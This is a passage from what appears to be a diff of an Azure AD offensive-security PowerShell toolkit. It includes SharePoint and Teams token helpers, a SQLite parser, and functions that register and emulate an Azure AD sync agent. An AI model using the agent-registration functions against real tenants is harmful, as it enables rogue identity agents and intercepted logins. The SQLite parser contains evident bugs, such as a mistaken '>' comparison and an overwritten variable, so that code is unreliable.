$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
|
||||
|
||||
# Update the headers
|
||||
$headers["Authorization"]="Bearer $AccessToken"
|
||||
}
|
||||
|
||||
# Invoke the API
|
||||
$response=Invoke-WebRequest -UseBasicParsing -Method Post "https://$tenant.sharepoint.com/_vti_bin/sites.asmx" -Headers $headers -Body $Body -WebSession $session
|
||||
|
||||
# Extract the Digest
|
||||
[xml]$xmlContent=$response.Content
|
||||
$digest=$xmlContent.Envelope.Body.GetUpdatedFormDigestInformationResponse.GetUpdatedFormDigestInformationResult.DigestValue
|
||||
|
||||
# Return the digest
|
||||
return $digest
|
||||
}
|
||||
}
|
||||
|
||||
function Get-SPOTenantSettings
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$Cookie,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Site
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get the digest
|
||||
$digest = Get-SPODigest -AccessToken $AccessToken -Cookie $Cookie -Site $Site
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Content-Type" = "text/xml"
|
||||
"X-RequestForceAuthentication" = "true"
|
||||
"X-FORMS_BASED_AUTH_ACCEPTED"= "f"
|
||||
"User-Agent" = ""
|
||||
"X-RequestDigest" = $digest
|
||||
}
|
||||
|
||||
$Body=@"
|
||||
<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="SharePoint Online PowerShell (16.0.20122.0)" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009">
|
||||
<Actions>
|
||||
<ObjectPath Id="34" ObjectPathId="33" />
|
||||
<ObjectPath Id="36" ObjectPathId="35" />
|
||||
<Query Id="37" ObjectPathId="35">
|
||||
<Query SelectAllProperties="true">
|
||||
<Properties />
|
||||
</Query>
|
||||
</Query>
|
||||
</Actions>
|
||||
<ObjectPaths>
|
||||
<Constructor Id="33" TypeId="{268004ae-ef6b-4e9b-8425-127220d84719}" />
|
||||
<Method Id="35" ParentId="33" Name="GetSitePropertiesByUrl">
|
||||
<Parameters>
|
||||
<Parameter Type="String">$Site</Parameter>
|
||||
<Parameter Type="Boolean">true</Parameter>
|
||||
</Parameters>
|
||||
</Method>
|
||||
</ObjectPaths>
|
||||
</Request>
|
||||
"@
|
||||
# Parse the tenant part
|
||||
$tenant = $site.Split("/")[2].Split(".")[0]
|
||||
|
||||
if(![string]::IsNullOrEmpty($Cookie))
|
||||
{
|
||||
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
||||
$webCookie = New-Object System.Net.Cookie
|
||||
$webCookie.Name = $Cookie.Split("=")[0]
|
||||
$webCookie.Value = $Cookie.Substring($webCookie.Name.Length+1)
|
||||
$webCookie.Domain = "$tenant-admin.sharepoint.com"
|
||||
$session.Cookies.Add($webCookie)
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
|
||||
|
||||
# Update the headers
|
||||
$headers["Authorization"]="Bearer $AccessToken"
|
||||
}
|
||||
|
||||
# Invoke the API
|
||||
$response=Invoke-WebRequest -UseBasicParsing -Method Post "https://$tenant.sharepoint.com/_vti_bin/client.svc/ProcessQuery" -Headers $headers -Body $Body -WebSession $session
|
||||
|
||||
$content = ($response.content | ConvertFrom-Json)
|
||||
|
||||
# Return
|
||||
return $content[$content.Count-1]
|
||||
}
|
||||
}
|
||||
+464
@@ -0,0 +1,464 @@
|
||||
# Parses SQLite varint V3
|
||||
# Sep 27th 2022
|
||||
function Parse-SQLiteVarIntV3
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[ref]$Position
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
return Decode-MultiByteInteger -Data $Data -Position $Position -Reverse
|
||||
}
|
||||
}
|
||||
|
||||
# Parses SQLite database B-Tree cell payload
|
||||
# Sep 27th 2022
|
||||
function Parse-SQLiteBTreeCellPayload
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[int]$MaxColumns=20
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# Ref. https://www.sqlite.org/fileformat.html
|
||||
|
||||
# Parse the header
|
||||
$headerSize = $Data[0]
|
||||
|
||||
# Parse the columns
|
||||
$pCol = $headerSize
|
||||
$nCol = 0
|
||||
$columns = @()
|
||||
|
||||
for($p = 1 ; ($p -lt $headerSize);)
|
||||
{
|
||||
$serialType = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
|
||||
switch($serialType)
|
||||
{
|
||||
# null
|
||||
0 {
|
||||
$value = $null
|
||||
break
|
||||
}
|
||||
|
||||
# Integer
|
||||
1 {
|
||||
$value = [int] $Data[$pCol]; $pCol++
|
||||
break
|
||||
}
|
||||
|
||||
# Integer
|
||||
{$_ -gt 2 -and $_ -lt 8} {
|
||||
switch($_)
|
||||
{
|
||||
{$_ -lt 5} {$nBytes = $_; break}
|
||||
{$_ -eq 5} {$nBytes = 6; break}
|
||||
default {$nBytes = 8; break}
|
||||
|
||||
}
|
||||
$bytes = New-Object Byte[] 8
|
||||
[Array]::Copy($Data,$pCol,$bytes,8-$nBytes,$nBytes)
|
||||
[Array]::Reverse($bytes)
|
||||
|
||||
$value = [bitconverter]::ToInt64($bytes,0); $pCol += $nBytes
|
||||
break
|
||||
}
|
||||
# Integer 0
|
||||
8 {
|
||||
$value = [int64] 0
|
||||
break
|
||||
}
|
||||
# Integer 1
|
||||
9 {
|
||||
$value = [int64] 1
|
||||
break
|
||||
}
|
||||
# Blob
|
||||
{$_ -ge 12 -and $_ % 2 -eq 0}
|
||||
{
|
||||
$bLen = ($_ - 12) / 2
|
||||
$value = $Data[$pCol..$($pCol + $bLen -1)]; $pCol += $bLen
|
||||
break
|
||||
}
|
||||
# String - we'll assume UTF-8 encoding
|
||||
{$_ -ge 13 -and $_ % 2 -ne 0}
|
||||
{
|
||||
$bLen = ($_ - 13) / 2
|
||||
$value = [System.Text.Encoding]::UTF8.GetString($Data[$pCol..$($pCol + $bLen -1)]); $pCol += $bLen
|
||||
break
|
||||
}
|
||||
}
|
||||
$columns+= $value
|
||||
}
|
||||
|
||||
return $columns
|
||||
}
|
||||
}
|
||||
|
||||
# Parses SQLite database B-Tree cell
|
||||
# Sep 27th 2022
|
||||
function Parse-SQLiteBTreeCell
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[int]$Position,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[int]$PageType,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[int]$PageSize
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# Ref. https://www.sqlite.org/fileformat.html
|
||||
|
||||
$p = $Position
|
||||
|
||||
# Overflow calcuation variables
|
||||
$u = $PageSize # We assume no reserverd space
|
||||
$m = (($u-12)*32/255)-23 # Always the same
|
||||
|
||||
switch($PageType)
|
||||
{
|
||||
0x0d #B-Tree Leaf Cell
|
||||
{
|
||||
$leftChild = $null
|
||||
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
|
||||
$rowId = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
|
||||
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
|
||||
|
||||
$x = $u-35
|
||||
$p = $payLoadBytes
|
||||
$k = $m+(($p-$m)%($u-4))
|
||||
|
||||
if($p>$x)
|
||||
{
|
||||
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
|
||||
if($k -le $x)
|
||||
{
|
||||
$payLoad = $payLoad[0..$k-1]
|
||||
$p -= $payLoadBytes + $k
|
||||
}
|
||||
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
|
||||
else
|
||||
{
|
||||
$payLoad = $payLoad[0..$m-1]
|
||||
$p -= $payLoadBytes + $m
|
||||
}
|
||||
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
0x05 #B-Tree Interior Cell
|
||||
{
|
||||
$leftChild = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$payLoadBytes = $null
|
||||
$rowId = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
|
||||
$payLoad = $null
|
||||
$firstOverflowPage = $null
|
||||
break
|
||||
}
|
||||
0x0a #B-Tree Leaf Cell
|
||||
{
|
||||
$leftChild = $null
|
||||
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
|
||||
$rowId = $null
|
||||
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
|
||||
|
||||
$x = (($u-12)*64/255)-23
|
||||
$p = $payLoadBytes
|
||||
$k = $m+(($p-$m)%($u-4))
|
||||
|
||||
if($p>$x)
|
||||
{
|
||||
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
|
||||
if($k -le $x)
|
||||
{
|
||||
$payLoad = $payLoad[0..$k-1]
|
||||
$p -= $payLoadBytes + $k
|
||||
}
|
||||
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
|
||||
else
|
||||
{
|
||||
$payLoad = $payLoad[0..$m-1]
|
||||
$p -= $payLoadBytes + $m
|
||||
}
|
||||
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
0x02 #B-Tree Interior Cell
|
||||
{
|
||||
$leftChild = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
|
||||
$rowId = $null
|
||||
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
|
||||
|
||||
$x = (($u-12)*64/255)-23
|
||||
$p = $payLoadBytes
|
||||
$k = $m+(($p-$m)%($u-4))
|
||||
|
||||
if($p>$x)
|
||||
{
|
||||
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
|
||||
if($k -le $x)
|
||||
{
|
||||
$payLoad = $payLoad[0..$k-1]
|
||||
$p -= $payLoadBytes + $k
|
||||
}
|
||||
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
|
||||
else
|
||||
{
|
||||
$payLoad = $payLoad[0..$m-1]
|
||||
$p -= $payLoadBytes + $m
|
||||
}
|
||||
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
}
|
||||
if($payLoad)
|
||||
{
|
||||
$columns = Parse-SQLiteBTreeCellPayload -Data $payLoad
|
||||
}
|
||||
$attributes = [ordered]@{
|
||||
"LeftChildPageNumber" = $leftChild
|
||||
"PayloadBytes" = $payLoadBytes
|
||||
"Payload" = $columns
|
||||
"FirstOverFlowPageNumber" = $firstOverflowPage
|
||||
}
|
||||
|
||||
return New-Object -TypeName psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Parses SQLite database file
|
||||
# Sep 27th 2022
|
||||
function Parse-SQLiteDatabase
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
|
||||
# Parse SQLite db file header
|
||||
$p = 0;
|
||||
$header = Parse-SQLiteHeader -Data $Data -Position ([ref]$p)
|
||||
|
||||
# Parse pages
|
||||
$pages = New-Object psobject[] $header.Pages
|
||||
$nPages = 0
|
||||
while($p -lt $Data.Count)
|
||||
{
|
||||
$pages[$nPages] = Parse-SQLiteBTreePage -Data $Data -Position ([ref]$p) -PageSize $header.PageSize
|
||||
$nPages++
|
||||
|
||||
# Next page starts from header size + n*PageSize
|
||||
$p = $nPages * $header.PageSize
|
||||
}
|
||||
|
||||
$attributes = [ordered]@{
|
||||
"Header" = $header
|
||||
"Pages" = $pages
|
||||
}
|
||||
|
||||
return New-Object -TypeName psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Parses SQLite database file B-Tree page
|
||||
# Sep 27th 2022
|
||||
function Parse-SQLiteBTreePage
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[ref]$Position,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[int]$PageSize
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# Ref. https://www.sqlite.org/fileformat.html
|
||||
|
||||
$p = $Position.Value
|
||||
|
||||
# Calculate the page start
|
||||
if($p -lt $PageSize)
|
||||
{
|
||||
$pageStart = 0
|
||||
}
|
||||
else
|
||||
{
|
||||
$pageStart = $p
|
||||
}
|
||||
|
||||
$pageType = [int]$Data[$p]; $p += 1
|
||||
# A value of 2 (0x02) means the page is an interior index b-tree page.
|
||||
# A value of 5 (0x05) means the page is an interior table b-tree page.
|
||||
# A value of 10 (0x0a) means the page is a leaf index b-tree page.
|
||||
# A value of 13 (0x0d) means the page is a leaf table b-tree page.
|
||||
|
||||
$freeBlockStart = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
|
||||
$cellsOnPage = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
|
||||
$cellContentStart = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
|
||||
if($cellContentStart -eq 0) # A zero value for this integer is interpreted as 65536.
|
||||
{
|
||||
$cellContentStart = 65536
|
||||
}
|
||||
$fragmentedFreeBytes = [int]$Data[$p]; $p += 1
|
||||
if($pageType -eq 0x02)
|
||||
{
|
||||
$pageNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
}
|
||||
|
||||
$cells = New-Object psobject[] $cellsOnPage
|
||||
for($c = 0 ; $c -lt $cellsOnPage; $c++)
|
||||
{
|
||||
$cellOffset = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
|
||||
$cellStart = $pageStart + $cellOffset
|
||||
$cells[$c] = Parse-SQLiteBTreeCell -Data $Data -Position $cellStart -PageType $pageType -PageSize $PageSize
|
||||
}
|
||||
|
||||
$Position.Value = $p
|
||||
|
||||
switch($pageType)
|
||||
{
|
||||
0x0d {$strPageType = "Table Leaf" ; break}
|
||||
0x05 {$strPageType = "Table Interior"; break}
|
||||
0x0a {$strPageType = "Index Leaf" ; break}
|
||||
0x02 {$strPageType = "Index Interior"; break}
|
||||
}
|
||||
|
||||
$attributes = [ordered]@{
|
||||
"PageType" = $strPageType
|
||||
"PageNumber" = $pageNumber
|
||||
"CellsOnPage" = $cellsOnPage
|
||||
"ContentStart" = $cellContentStart
|
||||
"Cells" = $cells
|
||||
}
|
||||
|
||||
return New-Object -TypeName psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Parses SQLite database file header
|
||||
# Sep 27th 2022
|
||||
function Parse-SQLiteHeader
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[ref]$Position
|
||||
)
|
||||
|
||||
Begin
|
||||
{
|
||||
$encodings = @(
|
||||
"UTF-8"
|
||||
"UTF-16le"
|
||||
"UTF-16be"
|
||||
)
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Ref. https://www.sqlite.org/fileformat.html
|
||||
|
||||
$p = $Position.Value
|
||||
|
||||
$headerString = [text.encoding]::UTF8.GetString($Data[$p..($p+16-1)]); $p += 16
|
||||
$dbPageSize = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
|
||||
if($dbPageSize -eq 1) # The database page size in bytes. Must be a power of two between 512 and 32768 inclusive, or the value 1 representing a page size of 65536.
|
||||
{
|
||||
$dbPageSize = 65536
|
||||
}
|
||||
|
||||
$fileWriteVersion = [int]$Data[$p]; $p += 1
|
||||
$fileReadVersion = [int]$Data[$p]; $p += 1
|
||||
$reservedSpaceBytes = [int]$Data[$p]; $p += 1
|
||||
|
||||
$maxEmbeddedPayloadFraction = [int]$Data[$p]; $p += 1
|
||||
$minEmbeddedPayloadFraction = [int]$Data[$p]; $p += 1
|
||||
$leafPayloadFraction = [int]$Data[$p]; $p += 1
|
||||
|
||||
$fileChangeCounter = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$dbSizePages = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$firstFreelistTrunkPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$freelistPages = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
|
||||
$schemaCookie = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$schemaFormatNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
# A value of 1 means UTF-8. A value of 2 means UTF-16le. A value of 3 means UTF-16be.
|
||||
|
||||
$defaultPageCacheSize = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$largestRootBTreePage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
|
||||
$dbTextEncoding = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$userVersion = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$incrementalVacuumMode = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0) -ne 0; $p += 4
|
||||
$applicationId = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
|
||||
$reserved = $Data[$p..($p+20-1)]; $p += 20
|
||||
|
||||
$versionValidForNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$versionNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
|
||||
# Check variables
|
||||
if($maxEmbeddedPayloadFraction -ne 64)
|
||||
{
|
||||
Write-Warning "Maximum embedded payload fraction is $maxEmbeddedPayloadFraction, it MUST be 64"
|
||||
}
|
||||
|
||||
if($minEmbeddedPayloadFraction -ne 32)
|
||||
{
|
||||
Write-Warning "Minimum embedded payload fraction is $minEmbeddedPayloadFraction, it MUST be 32"
|
||||
}
|
||||
|
||||
if($schemaFormatNumber -ne 4)
|
||||
{
|
||||
Write-Warning "Schema version $schemaFormatNumber not supported, expected version 4"
|
||||
}
|
||||
|
||||
$Position.Value = $p
|
||||
|
||||
$attributes = [ordered]@{
|
||||
"PageSize" = $dbPageSize
|
||||
"Pages" = $dbSizePages
|
||||
"Encoding" = $encodings[$dbTextEncoding-1]
|
||||
"ChangeCounter" = $fileChangeCounter
|
||||
"FirstFreelistPage" = $freelistPages
|
||||
"FreelistPages" = $freelistPages
|
||||
"SchemaFormat" = $schemaFormatNumber
|
||||
"SchemaCookie" = $schemaCookie
|
||||
"SQLiteVersion" = $versionNumber
|
||||
"ReservedSpaceBytes" = $reservedSpaceBytes
|
||||
}
|
||||
|
||||
return New-Object -TypeName PSObject -Property $attributes
|
||||
}
|
||||
}
|
||||
+215
@@ -0,0 +1,215 @@
|
||||
Add-Type -AssemblyName System.Web
|
||||
|
||||
# Registers Syncgent to the Azure AD
|
||||
# Apr 2nd 2019
|
||||
# Sep 7th 2022: Added UpdateTrust
|
||||
function Register-SyncAgent
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Registers the Sync agent to Azure AD and creates a client certificate or renews existing certificate.
|
||||
|
||||
.DESCRIPTION
|
||||
Registers the Sync agent to Azure AD with given machine name and creates a client certificate or renews existing certificate.
|
||||
|
||||
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
|
||||
|
||||
.Example
|
||||
Get-AADIntAccessTokenForPTA -SaveToCache
|
||||
Register-AADIntPTAAgent -MachineName "server1.company.com"
|
||||
|
||||
Sync Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
|
||||
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
|
||||
|
||||
.Example
|
||||
$pt=Get-AADIntAccessTokenForPTA
|
||||
PS C:\>Register-AADIntPTAAgent -AccessToken $pt -MachineName "server1.company.com"
|
||||
|
||||
Sync Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
|
||||
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
|
||||
|
||||
.Example
|
||||
PS C:\>Register-AADIntPTAAgent -MachineName "server1.company.com" -UpdateTrust -PfxFileName .\server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
|
||||
|
||||
Sync Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) certificate renewed for server1.company.com
|
||||
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_449D42C1BA32B23A621EBE62329AE460FE68924B.pfx
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$MachineName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$FileName,
|
||||
[Parameter(ParameterSetName='normal',Mandatory=$False)]
|
||||
[Parameter(ParameterSetName='update',Mandatory=$True)]
|
||||
[switch]$UpdateTrust,
|
||||
[Parameter(ParameterSetName='update',Mandatory=$True)]
|
||||
[String]$PfxFileName,
|
||||
[Parameter(ParameterSetName='update',Mandatory=$False)]
|
||||
[String]$PfxPassword
|
||||
)
|
||||
Process
|
||||
{
|
||||
return Register-ProxyAgent -AccessToken $AccessToken -MachineName $MachineName -FileName $FileName -AgentType Sync -UpdateTrust $UpdateTrust -PfxFileName $PfxFileName -PfxPassword $PfxPassword
|
||||
}
|
||||
}
|
||||
|
||||
# Invokes the Sync Agent
|
||||
|
||||
function Invoke-SyncAgent
|
||||
{
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Invokes a Sync Agent with given name and certificate.
|
||||
|
||||
.DESCRIPTION
|
||||
Invokes a Sync Agent with given name and certificate, and connects to Azure AD. Emulates Azure AD Sync Agent.
|
||||
|
||||
.Example
|
||||
Invoke-AADIntSyncAgent -MachineName "server1.company.com"
|
||||
|
||||
Connector 1 connecting to his-eur1-neur1
|
||||
Connector 2 connecting to his-eur1-neur1
|
||||
Connector 3 connecting to his-eur1-weur1
|
||||
Connector 4 connecting to his-eur1-weur1
|
||||
|
||||
Sync Agent started, waiting for logins..
|
||||
|
||||
.Example
|
||||
Register-AADIntSyncAgent -MachineName "server1.company.com"
|
||||
|
||||
Sync agent registered as server1.company.com
|
||||
Certificate saved to Sync_client_certificate.pfx
|
||||
|
||||
PS C:\>Invoke-AADIntSyncAgent -MachineName "server1.company.com"
|
||||
|
||||
Connector 1 connecting to his-eur1-neur1
|
||||
Connector 2 connecting to his-eur1-neur1
|
||||
Connector 3 connecting to his-eur1-weur1
|
||||
Connector 4 connecting to his-eur1-weur1
|
||||
|
||||
Sync Agent started, waiting for logins..
|
||||
|
||||
.Example
|
||||
$pt=Get-AADIntAccessTokenForPTA
|
||||
PS C:\>Register-AADIntSyncAgent -AccessToken $pt -MachineName "server1.company.com" -FileName server1.pfx
|
||||
|
||||
Sync agent registered as server1.company.com
|
||||
Certificate saved to server1.pfx
|
||||
|
||||
PS C:\>Invoke-AADIntSyncAgent -MachineName "server1.company.com" -FileName server1.pfx
|
||||
|
||||
Connector 1 connecting to his-eur1-neur1
|
||||
Connector 2 connecting to his-eur1-neur1
|
||||
Connector 3 connecting to his-eur1-weur1
|
||||
Connector 4 connecting to his-eur1-weur1
|
||||
|
||||
Sync Agent started, waiting for logins..
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$MachineName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$fileName="Sync_client_certificate.pfx"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Clean the old jobs
|
||||
Get-Job | Remove-Job -Force
|
||||
|
||||
# Load the certificate
|
||||
$fullPath = (Get-Item $fileName).FullName
|
||||
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::CreateFromCertFile($fullPath)
|
||||
|
||||
# Get the bootStraps
|
||||
$BootStraps = Get-BootstrapConfiguration -MachineName $MachineName -fileName $fileName
|
||||
$max = 10
|
||||
|
||||
$connectors = @()
|
||||
|
||||
foreach($BootStrap in $bootStraps)
|
||||
{
|
||||
if($connectors.Length -gt $max)
|
||||
{
|
||||
break
|
||||
}
|
||||
|
||||
$id=($connectors.count+1)
|
||||
|
||||
# The startup script
|
||||
$sb={
|
||||
param($BootStrap, $cert)
|
||||
. "$PSScriptRoot\MSAppProxy_utils.ps1";
|
||||
Connect-ToBus -BootStrap $BootStrap -cert $cert
|
||||
}
|
||||
|
||||
# Create a synchronized hashtable for status etc.
|
||||
$status=[hashtable]::Synchronized(@{})
|
||||
|
||||
# Create the runspace etc.
|
||||
$rs=[runspacefactory]::CreateRunspace()
|
||||
$ps=[powershell]::Create()
|
||||
$ps.Runspace = $rs
|
||||
$rs.Open()
|
||||
$rs.SessionStateProxy.SetVariable("status",$status)
|
||||
|
||||
$ps.AddScript($sb)
|
||||
$ps.AddArgument($BootStrap)
|
||||
$job = $ps.BeginInvoke()
|
||||
|
||||
$name = "$id-$($BootStrap.Namespace)"
|
||||
|
||||
# Create a connector object
|
||||
$connector = New-Object PSObject
|
||||
$connector | Add-Member -NotePropertyName "Name" -NotePropertyValue ($name)
|
||||
$connector | Add-Member -NotePropertyName "PowerShell" -NotePropertyValue ($ps)
|
||||
$connector | Add-Member -NotePropertyName "Runspace" -NotePropertyValue ($rs)
|
||||
$connector | Add-Member -NotePropertyName "Job" -NotePropertyValue ($job)
|
||||
$connector | Add-Member -NotePropertyName "Status" -NotePropertyValue ($status)
|
||||
|
||||
$connectors+=$connector
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
$colors=@("Yellow","White","Cyan","Red")
|
||||
while($true)
|
||||
{
|
||||
$running = $connectors.count
|
||||
|
||||
Clear-Host
|
||||
|
||||
foreach($connector in $connectors)
|
||||
{
|
||||
Write-Host "$($connector.Name) Completed: $($connector.job.IsCompleted) Status: $($connector.status.status)" -ForegroundColor $colors[$((([int]$connector.Name.Substring(0,1))-1)%4)]
|
||||
if($connector.job.IsCompleted)
|
||||
{
|
||||
$connector.PowerShell.EndInvoke($connector.job)
|
||||
$connector.Runspace.Close()
|
||||
$running--
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
if($running -eq 0)
|
||||
{
|
||||
Write-Host "All connectors completed. Exiting.."
|
||||
break
|
||||
}
|
||||
Start-Sleep -Seconds 3
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
# Gets Teams service information
|
||||
# Oct 16th 2020
|
||||
function Get-TeamsUserSettings
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
|
||||
|
||||
Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://teams.microsoft.com/api/authsvc/v1.0/authz" -Headers @{"Authorization"="Bearer $AccessToken"}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets Teams recipients info
|
||||
# May 11th 2021
|
||||
function Get-TeamsRecipients
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String[]]$Recipients
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
